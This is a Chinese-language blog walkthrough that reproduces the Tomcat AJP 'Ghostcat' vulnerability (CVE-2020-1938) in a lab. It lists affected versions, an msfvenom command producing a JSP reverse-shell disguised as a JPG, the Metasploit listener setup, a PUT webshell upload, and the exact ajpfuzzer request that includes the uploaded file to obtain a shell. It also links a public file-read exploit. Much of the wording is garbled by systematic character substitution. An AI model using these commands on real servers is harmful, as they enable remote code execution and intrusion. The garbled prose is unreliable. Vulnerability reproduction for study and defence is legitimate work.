2020年02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告。Tomcat作为一款免费开源轻量级的web运用做事器,广泛运用于并发量不是很高的场合,Tomact默认端口8080用于处理http要求,Tomcat会监听AJP连接器的8009端口,用于与其他Web做事器通过AJP协议进行交互,由于Tomcat AJP协议存在设计毛病,攻击者可布局特定的payload读取做事器WEB目录下的任意文件以及可以包含任意文件,若存在上传点,可以获取shell,进一步进行远程代码实行。
二、影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
三、漏洞复现
这里为了更加直不雅观方便的复现CVE-2020-1938,采取WindowsServer + Apache Tomcat 8.5.19环境。
1、搭建环境
首先上官网下载Apache Tomcat 8.5.19,当然别忘了JAVA。
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/
下载完直接放在做事器任意文件夹,在bin目录开启Tomcat,实在浏览器打开默认端口8080就行,看到熟习的Tomcat界面解释那便是OK的。
2、msf天生反弹木马
用msf天生一个jsp反弹木马。这里为了更方便靠近生产环境我们直接天生一个图片马儿。
msfvenom-pjava/jsp_shell_reverse_tcpLHOST=本机IPLPORT=监听端口R>muma.jpg
OK,已经天生了一个文件名为muma.jpg的图片木马。
接下来我们利用一下metasploit中的exploit/multi/handler后门模块进行攻击。
监听
use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 本机IPset lport 监听端口
3、任意文件上传
这里我们顺便就用Apache Tomcat 8.5.19来做一个任意文件上传漏洞的复现,在做事器上修正配置文件/conf/web.xml,许可tomcat用PUT办法提交,使其产生一个任意文件上传的漏洞,不多说,自行脑补CVE-2017-12615。
修正tomcat配置文件/conf/web.xml,添加readonly参数,属性改为false。
抓取tomcat页面数据包,修正提交办法为PUT,布局payload,上传webshell
访问一下这个webshell
就可以远程实行任意命令了,当然,如果权限不敷的话还得提权,这里就不做演示了。
4、反弹shell
回到正题(接第2篇)假设说某个运行在该版本tomcat上的业务有个上传点,我们在上传目录upload上传了我们刚才天生的反弹图片马。
下载一个AJP包布局器ajpfuzzer_v0.6.jar
URL:https://github.com/doyensec/ajpfuzzer/releases
运行java -jarajpfuzzer_v0.6.jar
实行connect 目标ip 8009连接目标端口
java -jar ajpfuzzer_v0.6.jarconnect 目标IP 8009
实行下面命令布局并发送AJP包,个中/upload/muma.jpg为上传的木马路径,个中ma.jsp可以换为任意该web项目中没有的jsp文件,这样tomcat才会去调用DefaultServlet.
forwardrequest 2 "HTTP/1.1" "/ma.jsp" 192.168.194.133 192.168.194.133 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:ma.jsp","javax.servlet.include.path_info:/upload/muma.jpg","javax.servlet.include.servlet_path:/"
要求发送成功后,ma.jpg被当做jsp解析,成功拿到shell
5、Tomcat Ajp协议文件读取漏洞
用大佬写的EXP直接任意文件读取
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
KillBoy安全实验室
回归技能实质,引领实战潮流